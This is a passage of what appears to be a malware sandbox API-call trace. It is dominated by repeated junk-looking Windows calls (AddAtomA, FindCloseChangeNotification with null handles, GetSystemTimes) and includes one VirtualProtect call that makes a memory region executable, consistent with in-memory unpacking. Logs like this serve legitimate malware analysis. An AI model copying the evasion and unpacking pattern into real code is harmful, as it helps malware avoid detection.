lpCPInfo=0x18fa10) returned 1 [0049.211] GetACP () returned 0x4e4 [0049.211] GetSystemTimes (in: lpIdleTime=0x18fa70, lpKernelTime=0x18fa60, lpUserTime=0x18fa68 | out: lpIdleTime=0x18fa70, lpKernelTime=0x18fa60, lpUserTime=0x18fa68) returned 1 [0049.211] GetCPInfo (in: CodePage=0x0, lpCPInfo=0x18fa10 | out: lpCPInfo=0x18fa10) returned 1 [0049.211] GetACP () returned 0x4e4 [0049.211] GetSystemTimes (in: lpIdleTime=0x18fa70, lpKernelTime=0x18fa60, lpUserTime=0x18fa68 | out: lpIdleTime=0x18fa70, lpKernelTime=0x18fa60, lpUserTime=0x18fa68) returned 1 [0049.214] GetCPInfo (in: CodePage=0x0, lpCPInfo=0x18fa10 | out: lpCPInfo=0x18fa10) returned 1 [0049.214] GetACP () returned 0x4e4 [0049.214] GetSystemTimes (in: lpIdleTime=0x18fa70, lpKernelTime=0x18fa60, lpUserTime=0x18fa68 | out: lpIdleTime=0x18fa70, lpKernelTime=0x18fa60, lpUserTime=0x18fa68) returned 1 [0049.214] GetCPInfo (in: CodePage=0x0, lpCPInfo=0x18fa10 | out: lpCPInfo=0x18fa10) returned 1 [0049.214] GetACP () returned 0x4e4 [0049.214] GetSystemTimes (in: lpIdleTime=0x18fa70, lpKernelTime=0x18fa60, lpUserTime=0x18fa68 | out: lpIdleTime=0x18fa70, lpKernelTime=0x18fa60, lpUserTime=0x18fa68) returned 1 [0049.214] GetCPInfo (in: CodePage=0x0, lpCPInfo=0x18fa10 | out: lpCPInfo=0x18fa10) returned 1 [0049.214] GetACP () returned 0x4e4 [0049.214] GetSystemTimes (in: lpIdleTime=0x18fa70, lpKernelTime=0x18fa60, lpUserTime=0x18fa68 | out: lpIdleTime=0x18fa70, lpKernelTime=0x18fa60, lpUserTime=0x18fa68) returned 1 [0049.214] GetCPInfo (in: CodePage=0x0, lpCPInfo=0x18fa10 | out: lpCPInfo=0x18fa10) returned 1 [0049.214] GetACP () returned 0x4e4 [0049.366] VirtualProtect (in: lpAddress=0x2b5ac0, dwSize=0xf2eb, flNewProtect=0x40, lpflOldProtect=0x43ad04 | out: lpflOldProtect=0x43ad04*=0x4) returned 1 [0049.367] AddAtomA (lpString=0x0) returned 0x0 [0049.367] FindCloseChangeNotification (hChangeHandle=0x0) returned 0 [0049.367] GetCurrentDirectoryA (in: nBufferLength=0x0, lpBuffer=0x4240e8 | out: lpBuffer="Module32FirstW") returned 0x51 [0049.367] AddAtomA (lpString=0x0) returned 0x0 [0049.367] FindCloseChangeNotification (hChangeHandle=0x0) returned 0 [0049.367] GetCurrentDirectoryA (in: nBufferLength=0x0, lpBuffer=0x4240e8 | out: lpBuffer="Module32FirstW") returned 0x51 [0049.367] AddAtomA (lpString=0x0) returned 0x0 [0049.367] FindCloseChangeNotification (hChangeHandle=0x0) returned 0 [0049.368] GetCurrentDirectoryA (in: nBufferLength=0x0, lpBuffer=0x4240e8 | out: lpBuffer="Module32FirstW") returned 0x51 [0049.368] AddAtomA (lpString=0x0) returned 0x0 [0049.368] FindCloseChangeNotification (hChangeHandle=0x0) returned 0 [0049.368] GetCurrentDirectoryA (in: nBufferLength=0x0, lpBuffer=0x4240e8 | out: lpBuffer="Module32FirstW") returned 0x51 [0049.368] AddAtomA (lpString=0x0) returned 0x0 [0049.368] FindCloseChangeNotification (hChangeHandle=0x0) returned 0 [0049.368] GetCurrentDirectoryA (in: nBufferLength=0x0, lpBuffer=0x4240e8 | out: lpBuffer="Module32FirstW") returned 0x51 [0049.368] AddAtomA (lpString=0x0) returned 0x0 [0049.368] FindCloseChangeNotification (hChangeHandle=0x0) returned 0 [0049.368] GetCurrentDirectoryA (in: nBufferLength=0x0, lpBuffer=0x4240e8 | out: lpBuffer="Module32FirstW") returned 0x51 [0049.368] AddAtomA (lpString=0x0) returned 0x0 [0049.368] FindCloseChangeNotification (hChangeHandle=0x0) returned 0 [0049.368] GetCurrentDirectoryA (in: nBufferLength=0x0, lpBuffer=0x4240e8 | out: lpBuffer="Module32FirstW") returned 0x51 [0049.368] AddAtomA (lpString=0x0) returned 0x0 [0049.368] FindCloseChangeNotification (hChangeHandle=0x0) returned 0 [0049.368] GetCurrentDirectoryA (in: nBufferLength=0x0, lpBuffer=0x4240e8 | out: lpBuffer="Module32FirstW") returned 0x51 [0049.368] AddAtomA (lpString=0x0) returned 0x0 [0049.368] FindCloseChangeNotification (hChangeHandle=0x0) returned 0 [0049.368] GetCurrentDirectoryA (in: nBufferLength=0x0, lpBuffer=0x4240e8 | out: lpBuffer="Module32FirstW") returned 0x51 [0049.368] AddAtomA (lpString=0x0) returned 0x0 [0049.368] FindCloseChangeNotification (hChangeHandle=0x0) returned 0 [0049.368] GetCurrentDirectoryA (in: nBufferLength=0x0, lpBuffer=0x4240e8 | out: lpBuffer="Module32FirstW") returned 0x51 [0049.368] AddAtomA (lpString=0x0) returned 0x0 [0049.368] FindCloseChangeNotification (hChangeHandle=0x0) returned 0 [0049.368] GetCurrentDirectoryA (in: nBufferLength=0x0, lpBuffer=0x4240e8 | out: lpBuffer="Module32FirstW") returned 0x51 [0049.368] AddAtomA (lpString=0x0) returned 0x0 [0049.368] FindCloseChangeNotification (hChangeHandle=0x0) returned 0 [0049.368] GetCurrentDirectoryA (in: nBufferLength=0x0, lpBuffer=0x4240e8 | out: lpBuffer="Module32FirstW") returned 0x51 [0049.369] AddAtomA (lpString=0x0) returned 0x0 [0049.369] FindCloseChangeNotification (hChangeHandle=0x0) returned 0 [0049.369] GetCurrentDirectoryA (in: nBufferLength=0x0, lpBuffer=0x4240e8 | out: lpBuffer="Module32FirstW") returned 0x51 [0049.369] AddAtomA (lpString=0x0) returned 0x0 [0049.369] FindCloseChangeNotification (hChangeHandle=0x0) returned 0 [0049.369] GetCurrentDirectoryA (in: nBufferLength=0x0, lpBuffer=0x4240e8 | out: lpBuffer="Module32FirstW") returned 0x51 [0049.369] AddAtomA (lpString=0x0) returned 0x0 [0049.369] FindCloseChangeNotification (hChangeHandle=0x0) returned 0 [0049.369] GetCurrentDirectoryA (in: nBufferLength=0x0, lpBuffer=0x4240e8 | out: lpBuffer="Module32FirstW") returned 0x51 [0049.369] AddAtomA (lpString=0x0) returned 0x0 [0049.369] FindCloseChangeNotification (hChangeHandle=0x0) returned 0 [0049.369] GetCurrentDirectoryA (in: nBufferLength=0x0, lpBuffer=0x4240e8 | out: lpBuffer="Module32FirstW") returned 0x51 [0049.369] AddAtomA (lpString=0x0) returned 0x0 [0049.369] FindCloseChangeNotification (hChangeHandle=0x0) returned 0 [0049.369] GetCurrentDirectoryA (in: nBufferLength=0x0, lpBuffer=0x4240e8 | out: lpBuffer="Module32FirstW") returned 0x51 [0049.369] AddAtomA (lpString=0x0) returned 0x0 [0049.369] FindCloseChangeNotification (hChangeHandle=0x0) returned 0 [0049.369] GetCurrentDirectoryA (in: nBufferLength=0x0, lpBuffer=0x4240e8 | out: lpBuffer="Module32FirstW") returned 0x51 [0049.369] AddAtomA (lpString=0x0) returned 0x0 [0049.369] FindCloseChangeNotification (hChangeHandle=0x0) returned 0 [0049.369] GetCurrentDirectoryA (in: nBufferLength=0x0, lpBuffer=0x4240e8 | out: lpBuffer="Module32FirstW") returned 0x51 [0049.369] AddAtomA (lpString=0x0) returned 0x0 [0049.369] FindCloseChangeNotification (hChangeHandle=0x0) returned 0 [0049.369] GetCurrentDirectoryA (in: nBufferLength=0x0, lpBuffer=0x4240e8 | out: lpBuffer="Module32FirstW") returned 0x51 [0049.369] AddAtomA (lpString=0x0) returned 0x0 [0049.369] FindCloseChangeNotification (hChangeHandle=0x0) returned 0 [0049.369] GetCurrentDirectoryA (in: nBufferLength=0x0, lpBuffer=0x4240e8 | out: lpBuffer="Module32FirstW") returned 0x51 [0049.369] AddAtomA (lpString=0x0) returned 0x0 [0049.369] FindCloseChangeNotification (hChangeHandle=0x0) returned 0 [0049.369] GetCurrentDirectoryA (in: nBufferLength=0x0, lpBuffer=0x4240e8 | out: lpBuffer="Module32FirstW") returned 0x51 [0049.369] AddAtomA (lpString=0x0) returned 0x0 [0049.370] FindCloseChangeNotification (hChangeHandle=0x0) returned 0 [0049.370] GetCurrentDirectoryA (in: nBufferLength=0x0, lpBuffer=0x4240e8 | out: lpBuffer="Module32FirstW") returned 0x51 [0049.370] AddAtomA (lpString=0x0) returned 0x0 [0049.370] FindCloseChangeNotification (hChangeHandle=0x0) returned 0 [0049.370] GetCurrentDirectoryA (in: nBufferLength=0x0, lpBuffer=0x4240e8 | out: lpBuffer="Module32FirstW") returned 0x51 [0049.370] AddAtomA (lpString=0x0) returned 0x0 [0049.370] FindCloseChangeNotification (hChangeHandle=0x0) returned 0 [0049.370] GetCurrentDirectoryA (in: nBufferLength=0x0, lpBuffer=0x4240e8 | out: lpBuffer="Module32FirstW") returned 0x51 [0049.370] AddAtomA (lpString=0x0) returned 0x0 [0049.370] FindCloseChangeNotification (hChangeHandle=0x0) returned 0 [0049.370] GetCurrentDirectoryA (in: nBufferLength=0x0, lpBuffer=0x4240e8 | out: lpBuffer="Module32FirstW") returned 0x51 [0049.370] AddAtomA (lpString=0x0) returned 0x0 [0049.370] FindCloseChangeNotification (hChangeHandle=0x0) returned 0 [0049.370] GetCurrentDirectoryA (in: nBufferLength=0x0, lpBuffer=0x4240e8 | out: lpBuffer="Module32FirstW") returned 0x51 [0049.370] AddAtomA (lpString=0x0) returned 0x0 [0049.370] FindCloseChangeNotification (hChangeHandle=0x0) returned 0 [0049.370] GetCurrentDirectoryA (in: nBufferLength=0x0, lpBuffer=0x4240e8 | out: lpBuffer="Module32FirstW") returned 0x51 [0049.370] AddAtomA (lpString=0x0) returned 0x0 [0049.370] FindCloseChangeNotification (hChangeHandle=0x0) returned 0 [0049.370] GetCurrentDirectoryA (in: nBufferLength=0x0, lpBuffer=0x4240e8 | out: lpBuffer="Module32FirstW") returned 0x51 [0049.370] AddAtomA (lpString=0x0) returned 0x0 [0049.370] FindCloseChangeNotification (hChangeHandle=0x0) returned 0 [0049.370] GetCurrentDirectoryA (in: nBufferLength=0x0, lpBuffer=0x4240e8 | out: lpBuffer="Module32FirstW") returned 0x51 [0049.370] AddAtomA (lpString=0x0) returned 0x0 [0049.370] FindCloseChangeNotification (hChangeHandle=0x0) returned 0 [0049.370] GetCurrentDirectoryA (in: nBufferLength=0x0, lpBuffer=0x4240e8 | out: lpBuffer="Module32FirstW") returned 0x51 [0049.370] AddAtomA (lpString=0x0) returned 0x0 [0049.370] FindCloseChangeNotification (hChangeHandle=0x0) returned 0 [0049.370] GetCurrentDirectoryA (in: nBufferLength=0x0, lpBuffer=0x4240e8 | out: lpBuffer="Module32FirstW") returned 0x51 [0049.370] AddAtomA (lpString=0x0) returned 0x0 [0049.370] FindCloseChangeNotification (hChangeHandle=0x0) returned 0 [0049.370] GetCurrentDirectoryA (in: nBufferLength=0x0, lpBuffer=0x4240e8 | out: lpBuffer="Module32FirstW") returned 0x51 [0049.370] AddAtomA (lpString=0x0) returned 0x0 [0049.371] FindCloseChangeNotification (hChangeHandle=0x0) returned 0 [0049.371] GetCurrentDirectoryA (in: nBufferLength=0x0, lpBuffer=0x4240e8 | out: lpBuffer="Module32FirstW") returned 0x51 [0049.371] AddAtomA (lpString=0x0) returned 0x0 [0049.371] FindCloseChangeNotification (hChangeHandle=0x0) returned 0 [0049.371] GetCurrentDirectoryA (in: nBufferLength=0x0, lpBuffer=0x4240e8 | out: lpBuffer="Module32FirstW") returned 0x51 [0049.371] AddAtomA (lpString=0x0) returned 0x0 [0049.371] FindCloseChangeNotification (hChangeHandle=0x0) returned 0 [0049.371] GetCurrentDirectoryA (in: nBufferLength=0x0, lpBuffer=0x4240e8 | out: lpBuffer="Module32FirstW") returned 0x51 [0049.371] AddAtomA (lpString=0x0) returned 0x0 [0049.371] FindCloseChangeNotification (hChangeHandle=0x0) returned 0 [0049.371] GetCurrentDirectoryA (in: nBufferLength=0x0, lpBuffer=0x4240e8 | out: lpBuffer="Module32FirstW") returned 0x51 [0049.371] AddAtomA (lpString=0x0) returned 0x0 [0049.371] FindCloseChangeNotification (hChangeHandle=0x0) returned 0 [0049.371] GetCurrentDirectoryA (in: nBufferLength=0x0, lpBuffer=0x4240e8 | out: lpBuffer="Module32FirstW") returned 0x51 [0049.371] AddAtomA (lpString=0x0) returned 0x0 [0049.371] FindCloseChangeNotification (hChangeHandle=0x0) returned 0 [0049.371] GetCurrentDirectoryA (in: nBufferLength=0x0, lpBuffer=0x4240e8 | out: lpBuffer="Module32FirstW") returned 0x51 [0049.371] AddAtomA (lpString=0x0) returned 0x0 [0049.371] FindCloseChangeNotification (hChangeHandle=0x0) returned 0 [0049.371] GetCurrentDirectoryA (in: nBufferLength=0x0, lpBuffer=0x4240e8 | out: lpBuffer="Module32FirstW") returned 0x51 [0049.371] AddAtomA (lpString=0x0) returned 0x0 [0049.371] FindCloseChangeNotification (hChangeHandle=0x0) returned 0 [0049.371] GetCurrentDirectoryA (in: nBufferLength=0x0, lpBuffer=0x4240e8 | out: lpBuffer="Module32FirstW") returned 0x51 [0049.371] AddAtomA (lpString=0x0) returned 0x0 [0049.371] FindCloseChangeNotification (hChangeHandle=0x0) returned 0 [0049.371] GetCurrentDirectoryA (in: nBufferLength=0x0, lpBuffer=0x4240e8 | out: lpBuffer="Module32FirstW") returned 0x51 [0049.371] AddAtomA (lpString=0x0) returned 0x0 [0049.371] FindCloseChangeNotification (hChangeHandle=0x0) returned 0 [0049.371] GetCurrentDirectoryA (in: nBufferLength=0x0, lpBuffer=0x4240e8 | out: lpBuffer="Module32FirstW") returned 0x51 [0049.371] AddAtomA (lpString=0x0) returned 0x0 [0049.371] FindCloseChangeNotification (hChangeHandle=0x0) returned 0 [0049.372] GetCurrentDirectoryA (in: nBufferLength=0x0, lpBuffer=0x4240e8 | out: lpBuffer="Module32FirstW") returned 0x51 [0049.372] AddAtomA (lpString=0x0) returned 0x0 [0049.372] FindCloseChangeNotification (hChangeHandle=0x0) returned 0 [0049.372] GetCurrentDirectoryA (in: nBufferLength=0x0, lpBuffer=0x4240e8 | out: lpBuffer="Module32FirstW") returned 0x51 [0049.372] AddAtomA (lpString=0x0) returned 0x0 [0049.372] FindCloseChangeNotification (hChangeHandle=0x0) returned 0 [0049.372] GetCurrentDirectoryA (in: nBufferLength=0x0, lpBuffer=0x4240e8 | out: lpBuffer="Module32FirstW") returned 0x51 [0049.372] AddAtomA (lpString=0x0) returned 0x0 [0049.372] FindCloseChangeNotification (hChangeHandle=0x0) returned 0 [0049.372] GetCurrentDirectoryA (in: nBufferLength=0x0, lpBuffer=0x4240e8 | out: lpBuffer="Module32FirstW") returned 0x51 [0049.372] AddAtomA (lpString=0x0) returned 0x0 [0049.372] FindCloseChangeNotification (hChangeHandle=0x0) returned 0 [0049.372] GetCurrentDirectoryA (in: nBufferLength=0x0, lpBuffer=0x4240e8 | out: lpBuffer="Module32FirstW") returned 0x51 [0049.372] AddAtomA (lpString=0x0) returned 0x0 [0049.372] FindCloseChangeNotification (hChangeHandle=0x0) returned 0 [0049.372] GetCurrentDirectoryA (in: nBufferLength=0x0, lpBuffer=0x4240e8 | out: lpBuffer="Module32FirstW") returned 0x51 [0049.372] AddAtomA (lpString=0x0) returned 0x0 [0049.372] FindCloseChangeNotification (hChangeHandle=0x0) returned 0 [0049.372] GetCurrentDirectoryA (in: nBufferLength=0x0, lpBuffer=0x4240e8 | out: lpBuffer="Module32FirstW") returned 0x51 [0049.372] AddAtomA (lpString=0x0) returned 0x0 [0049.372] FindCloseChangeNotification (hChangeHandle=0x0) returned 0 [0049.372] GetCurrentDirectoryA (in: nBufferLength=0x0, lpBuffer=0x4240e8 | out: lpBuffer="Module32FirstW") returned 0x51 [0049.372] AddAtomA (lpString=0x0) returned 0x0 [0049.372] FindCloseChangeNotification (hChangeHandle=0x0) returned 0 [0049.372] GetCurrentDirectoryA (in: nBufferLength=0x0, lpBuffer=0x4240e8 | out: lpBuffer="Module32FirstW") returned 0x51 [0049.372] AddAtomA (lpString=0x0) returned 0x0 [0049.372] FindCloseChangeNotification (hChangeHandle=0x0) returned 0 [0049.372] GetCurrentDirectoryA (in: nBufferLength=0x0, lpBuffer=0x4240e8 | out: lpBuffer="Module32FirstW") returned 0x51 [0049.372] AddAtomA (lpString=0x0) returned 0x0 [0049.372] FindCloseChangeNotification (hChangeHandle=0x0) returned 0 [0049.372] GetCurrentDirectoryA (in: nBufferLength=0x0, lpBuffer=0x4240e8 | out: lpBuffer="Module32FirstW") returned 0x51 [0049.372] AddAtomA (lpString=0x0) returned 0x0 [0049.373] FindCloseChangeNotification (hChangeHandle=0x0) returned 0 [0049.373] GetCurrentDirectoryA (in: nBufferLength=0x0, lpBuffer=0x4240e8 | out: lpBuffer="Module32FirstW") returned 0x51 [0049.373] AddAtomA (lpString=0x0) returned 0x0 [0049.373] FindCloseChangeNotification (hChangeHandle=0x0) returned 0 [0049.373] GetCurrentDirectoryA (in: nBufferLength=0x0, lpBuffer=0x4240e8 | out: lpBuffer="Module32FirstW") returned 0x51 [0049.373] AddAtomA (lpString=0x0) returned 0x0 [0049.373] FindCloseChangeNotification (hChangeHandle=0x0) returned 0 [0049.373] GetCurrentDirectoryA (in: nBufferLength=0x0, lpBuffer=0x4240e8 | out: lpBuffer="Module32FirstW") returned 0x51 [0049.373] AddAtomA (lpString=0x0) returned 0x0 [0049.373] FindCloseChangeNotification (hChangeHandle=0x0) returned 0 [0049.373] GetCurrentDirectoryA (in: nBufferLength=0x0, lpBuffer=0x4240e8 | out: lpBuffer="Module32FirstW") returned 0x51 [0049.373] AddAtomA (lpString=0x0) returned 0x0 [0049.373] FindCloseChangeNotification (hChangeHandle=0x0) returned 0 [0049.373] GetCurrentDirectoryA (in: nBufferLength=0x0, lpBuffer=0x4240e8 | out: lpBuffer="Module32FirstW") returned 0x51 [0049.373] AddAtomA (lpString=0x0) returned 0x0 [0049.373] FindCloseChangeNotification (hChangeHandle=0x0) returned 0 [0049.373] GetCurrentDirectoryA (in: nBufferLength=0x0, lpBuffer=0x4240e8 | out: lpBuffer="Module32FirstW") returned 0x51 [0049.373] AddAtomA (lpString=0x0) returned 0x0 [0049.373] FindCloseChangeNotification (hChangeHandle=0x0) returned 0 [0049.373] GetCurrentDirectoryA (in: nBufferLength=0x0, lpBuffer=0x4240e8 | out: lpBuffer="Module32FirstW") returned 0x51 [0049.373] AddAtomA (lpString=0x0) returned 0x0 [0049.373] FindCloseChangeNotification (hChangeHandle=0x0) returned 0 [0049.373] GetCurrentDirectoryA (in: nBufferLength=0x0, lpBuffer=0x4240e8 | out: lpBuffer="Module32FirstW") returned 0x51 [0049.373] AddAtomA (lpString=0x0) returned 0x0 [0049.373] FindCloseChangeNotification (hChangeHandle=0x0) returned 0 [0049.373] GetCurrentDirectoryA (in: nBufferLength=0x0, lpBuffer=0x4240e8 | out: lpBuffer="Module32FirstW") returned 0x51 [0049.373] AddAtomA (lpString=0x0) returned 0x0 [0049.373] FindCloseChangeNotification (hChangeHandle=0x0) returned 0 [0049.373] GetCurrentDirectoryA (in: nBufferLength=0x0, lpBuffer=0x4240e8 | out: lpBuffer="Module32FirstW") returned 0x51 [0049.373] AddAtomA (lpString=0x0) returned 0x0 [0049.373] FindCloseChangeNotification (hChangeHandle=0x0) returned 0 [0049.374] GetCurrentDirectoryA (in: nBufferLength=0x0, lpBuffer=0x4240e8 | out: lpBuffer="Module32FirstW") returned 0x51 [0049.374] AddAtomA (lpString=0x0) returned 0x0 [0049.374] FindCloseChangeNotification (hChangeHandle=0x0) returned 0 [0049.374] GetCurrentDirectoryA (in: nBufferLength=0x0, lpBuffer=0x4240e8 | out: lpBuffer="Module32FirstW") returned 0x51 [0049.374] AddAtomA (lpString=0x0) returned 0x0 [0049.374] FindCloseChangeNotification (hChangeHandle=0x0) returned 0 [0049.374] GetCurrentDirectoryA (in: nBufferLength=0x0, lpBuffer=0x4240e8 | out: lpBuffer="Module32FirstW") returned 0x51 [0049.374] AddAtomA (lpString=0x0) returned 0x0 [0049.374] FindCloseChangeNotification (hChangeHandle=0x0) returned 0 [0049.374] GetCurrentDirectoryA (in: nBufferLength=0x0, lpBuffer=0x4240e8 | out: lpBuffer="Module32FirstW") returned 0x51 [0049.374] AddAtomA (lpString=0x0) returned 0x0 [0049.374] FindCloseChangeNotification (hChangeHandle=0x0) returned 0 [0049.374] GetCurrentDirectoryA (in: nBufferLength=0x0, lpBuffer=0x4240e8 | out: lpBuffer="Module32FirstW") returned 0x51 [0049.374] AddAtomA (lpString=0x0) returned 0x0 [0049.374] FindCloseChangeNotification (hChangeHandle=0x0) returned 0 [0049.374] GetCurrentDirectoryA (in: nBufferLength=0x0, lpBuffer=0x4240e8 | out: lpBuffer="Module32FirstW") returned 0x51 [0049.374] AddAtomA (lpString=0x0) returned 0x0 [0049.374] FindCloseChangeNotification (hChangeHandle=0x0) returned 0 [0049.374] GetCurrentDirectoryA (in: nBufferLength=0x0, lpBuffer=0x4240e8 | out: lpBuffer="Module32FirstW") returned 0x51 [0049.374] AddAtomA (lpString=0x0) returned 0x0 [0049.374] FindCloseChangeNotification (hChangeHandle=0x0) returned 0 [0049.374] GetCurrentDirectoryA (in: nBufferLength=0x0, lpBuffer=0x4240e8 | out: lpBuffer="Module32FirstW") returned 0x51 [0049.374] AddAtomA (lpString=0x0) returned 0x0 [0049.374] FindCloseChangeNotification (hChangeHandle=0x0) returned 0 [0049.374] GetCurrentDirectoryA (in: nBufferLength=0x0, lpBuffer=0x4240e8 | out: lpBuffer="Module32FirstW") returned 0x51 [0049.374] AddAtomA (lpString=0x0) returned 0x0 [0049.374] FindCloseChangeNotification (hChangeHandle=0x0) returned 0 [0049.374] GetCurrentDirectoryA (in: nBufferLength=0x0, lpBuffer=0x4240e8 | out: lpBuffer="Module32FirstW") returned 0x51 [0049.374] AddAtomA (lpString=0x0) returned 0x0 [0049.374] FindCloseChangeNotification (hChangeHandle=0x0) returned 0 [0049.374] GetCurrentDirectoryA (in: nBufferLength=0x0, lpBuffer=0x4240e8 | out: lpBuffer="Module32FirstW") returned 0x51 [0049.374] AddAtomA (lpString=0x0) returned 0x0 [0049.374] FindCloseChangeNotification (hChangeHandle=0x0) returned 0 [0049.375] GetCurrentDirectoryA (in: nBufferLength=0x0, lpBuffer=0x4240e8 | out: lpBuffer="Module32FirstW") returned 0x51 [0049.375] AddAtomA (lpString=0x0) returned 0x0 [0049.375] FindCloseChangeNotification (hChangeHandle=0x0) returned 0 [0049.375] GetCurrentDirectoryA (in: nBufferLength=0x0, lpBuffer=0x4240e8 | out: lpBuffer="Module32FirstW") returned 0x51 [0049.375] AddAtomA (lpString=0x0) returned 0x0 [0049.375] FindCloseChangeNotification (hChangeHandle=0x0) returned 0 [0049.375] GetCurrentDirectoryA (in: nBufferLength=0x0, lpBuffer=0x4240e8 | out: lpBuffer="Module32FirstW") returned 0x51 [0049.375] AddAtomA (lpString=0x0) returned 0x0 [0049.375] FindCloseChangeNotification (hChangeHandle=0x0) returned 0 [0049.375] GetCurrentDirectoryA (in: nBufferLength=0x0, lpBuffer=0x4240e8 | out: lpBuffer="Module32FirstW") returned 0x51 [0049.375] AddAtomA (lpString=0x0) returned 0x0 [0049.375] FindCloseChangeNotification (hChangeHandle=0x0) returned 0 [0049.375] GetCurrentDirectoryA (in: nBufferLength=0x0, lpBuffer=0x4240e8 | out: lpBuffer="Module32FirstW") returned 0x51 [0049.375] AddAtomA (lpString=0x0) returned 0x0 [0049.375] FindCloseChangeNotification (hChangeHandle=0x0) returned 0 [0049.375] GetCurrentDirectoryA (in: nBufferLength=0x0, lpBuffer=0x4240e8 | out: lpBuffer="Module32FirstW") returned 0x51 [0049.375] AddAtomA (lpString=0x0) returned 0x0 [0049.375] FindCloseChangeNotification (hChangeHandle=0x0) returned 0 [0049.375] GetCurrentDirectoryA (in: nBufferLength=0x0, lpBuffer=0x4240e8 | out: lpBuffer="Module32FirstW") returned 0x51 [0049.375] AddAtomA (lpString=0x0) returned 0x0 [0049.375] FindCloseChangeNotification (hChangeHandle=0x0) returned 0 [0049.375] GetCurrentDirectoryA (in: nBufferLength=0x0, lpBuffer=0x4240e8 | out: lpBuffer="Module32FirstW") returned 0x51 [0049.375] AddAtomA (lpString=0x0) returned 0x0 [0049.375] FindCloseChangeNotification (hChangeHandle=0x0) returned 0 [0049.375] GetCurrentDirectoryA (in: nBufferLength=0x0, lpBuffer=0x4240e8 | out: lpBuffer="Module32FirstW") returned 0x51 [0049.375] AddAtomA (lpString=0x0) returned 0x0 [0049.375] FindCloseChangeNotification (hChangeHandle=0x0) returned 0 [0049.375] GetCurrentDirectoryA (in: nBufferLength=0x0, lpBuffer=0x4240e8 | out: lpBuffer="Module32FirstW") returned 0x51 [0049.375] AddAtomA (lpString=0x0) returned 0x0 [0049.375] FindCloseChangeNotification (hChangeHandle=0x0) returned 0 [0049.376] GetCurrentDirectoryA (in: nBufferLength=0x0, lpBuffer=0x4240e8 | out: lpBuffer="Module32FirstW") returned 0x51 [0049.376] AddAtomA (lpString=0x0) returned 0x0 [0049.376] FindCloseChangeNotification (hChangeHandle=0x0) returned 0 [0049.376] GetCurrentDirectoryA (in: nBufferLength=0x0, lpBuffer=0x4240e8 | out: lpBuffer="Module32FirstW") returned 0x51 [0049.376] AddAtomA (lpString=0x0) returned 0x0 [0049.376] FindCloseChangeNotification (hChangeHandle=0x0) returned 0 [0049.376] GetCurrentDirectoryA (in: nBufferLength=0x0, lpBuffer=0x4240e8 | out: lpBuffer="Module32FirstW") returned 0x51 [0049.376] AddAtomA (lpString=0x0) returned 0x0 [0049.376] FindCloseChangeNotification (hChangeHandle=0x0) returned 0 [0049.376] GetCurrentDirectoryA (in: nBufferLength=0x0, lpBuffer=0x4240e8 | out: lpBuffer="Module32FirstW") returned 0x51 [0049.376] AddAtomA (lpString=0x0) returned 0x0 [0049.376] FindCloseChangeNotification (hChangeHandle=0x0) returned 0 [0049.376] GetCurrentDirectoryA (in: nBufferLength=0x0, lpBuffer=0x4240e8 | out: lpBuffer="Module32FirstW") returned 0x51 [0049.376] AddAtomA (lpString=0x0) returned 0x0 [0049.376] FindCloseChangeNotification (hChangeHandle=0x0) returned 0 [0049.376] GetCurrentDirectoryA (in: nBufferLength=0x0, lpBuffer=0x4240e8 | out: lpBuffer="Module32FirstW") returned 0x51 [0049.376] AddAtomA (lpString=0x0) returned 0x0 [0049.376] FindCloseChangeNotification (hChangeHandle=0x0) returned 0 [0049.376] GetCurrentDirectoryA (in: nBufferLength=0x0, lpBuffer=0x4240e8 | out: lpBuffer="Module32FirstW") returned 0x51 [0049.376] AddAtomA (lpString=0x0) returned 0x0 [0049.376] FindCloseChangeNotification (hChangeHandle=0x0) returned 0 [0049.376] GetCurrentDirectoryA (in: nBufferLength=0x0, lpBuffer=0x4240e8 | out: lpBuffer="Module32FirstW") returned 0x51 [0049.376] AddAtomA (lpString=0x0) returned 0x0 [0049.376] FindCloseChangeNotification (hChangeHandle=0x0) returned 0 [0049.376] GetCurrentDirectoryA (in: nBufferLength=0x0, lpBuffer=0x4240e8 | out: lpBuffer="Module32FirstW") returned 0x51 [0049.376] AddAtomA (lpString=0x0) returned 0x0 [0049.376] FindCloseChangeNotification (hChangeHandle=0x0) returned 0 [0049.376] GetCurrentDirectoryA (in: nBufferLength=0x0, lpBuffer=0x4240e8 | out: lpBuffer="Module32FirstW") returned 0x51 [0049.376] AddAtomA (lpString=0x0) returned 0x0 [0049.376] FindCloseChangeNotification (hChangeHandle=0x0) returned 0 [0049.376] GetCurrentDirectoryA (in: nBufferLength=0x0, lpBuffer=0x4240e8 | out: lpBuffer="Module32FirstW") returned 0x51 [0049.376] AddAtomA (lpString=0x0) returned 0x0 [0049.376] FindCloseChangeNotification (hChangeHandle=0x0) returned 0 [0049.377] GetCurrentDirectoryA (in: nBufferLength=0x0, lpBuffer=0x4240e8 | out: lpBuffer="Module32FirstW") returned 0x51 [0049.377] AddAtomA (lpString=0x0) returned 0x0 [0049.377] FindCloseChangeNotification (hChangeHandle=0x0) returned 0 [0049.377] GetCurrentDirectoryA (in: nBufferLength=0x0, lpBuffer=0x4240e8 | out: lpBuffer="Module32FirstW") returned 0x51 [0049.377] AddAtomA (lpString=0x0) returned 0x0 [0049.377] FindCloseChangeNotification (hChangeHandle=0x0) returned 0 [0049.377] GetCurrentDirectoryA (in: nBufferLength=0x0, lpBuffer=0x4240e8 | out: lpBuffer="Module32FirstW") returned 0x51 [0049.377] AddAtomA (lpString=0x0) returned 0x0 [0049.377] FindCloseChangeNotification (hChangeHandle=0x0) returned 0 [0049.377] GetCurrentDirectoryA (in: nBufferLength=0x0, lpBuffer=0x4240e8 | out: lpBuffer="Module32FirstW") returned 0x51 [0049.377] AddAtomA (lpString=0x0) returned 0x0 [0049.377] FindCloseChangeNotification (hChangeHandle=0x0) returned 0 [0049.377] GetCurrentDirectoryA (in: nBufferLength=0x0, lpBuffer=0x4240e8 | out: lpBuffer="Module32FirstW") returned 0x51 [0049.377] AddAtomA (lpString=0x0) returned 0x0 [0049.377] FindCloseChangeNotification (hChangeHandle=0x0) returned 0 [0049.377] GetCurrentDirectoryA (in: nBufferLength=0x0, lpBuffer=0x4240e8 | out: lpBuffer="Module32FirstW") returned 0x51 [0049.377] AddAtomA (lpString=0x0) returned 0x0 [0049.377] FindCloseChangeNotification (hChangeHandle=0x0) returned 0 [0049.377] GetCurrentDirectoryA (in: nBufferLength=0x0, lpBuffer=0x4240e8 | out: lpBuffer="Module32FirstW") returned 0x51 [0049.377] AddAtomA (lpString=0x0) returned 0x0 [0049.377] FindCloseChangeNotification (hChangeHandle=0x0) returned 0 [0049.377] 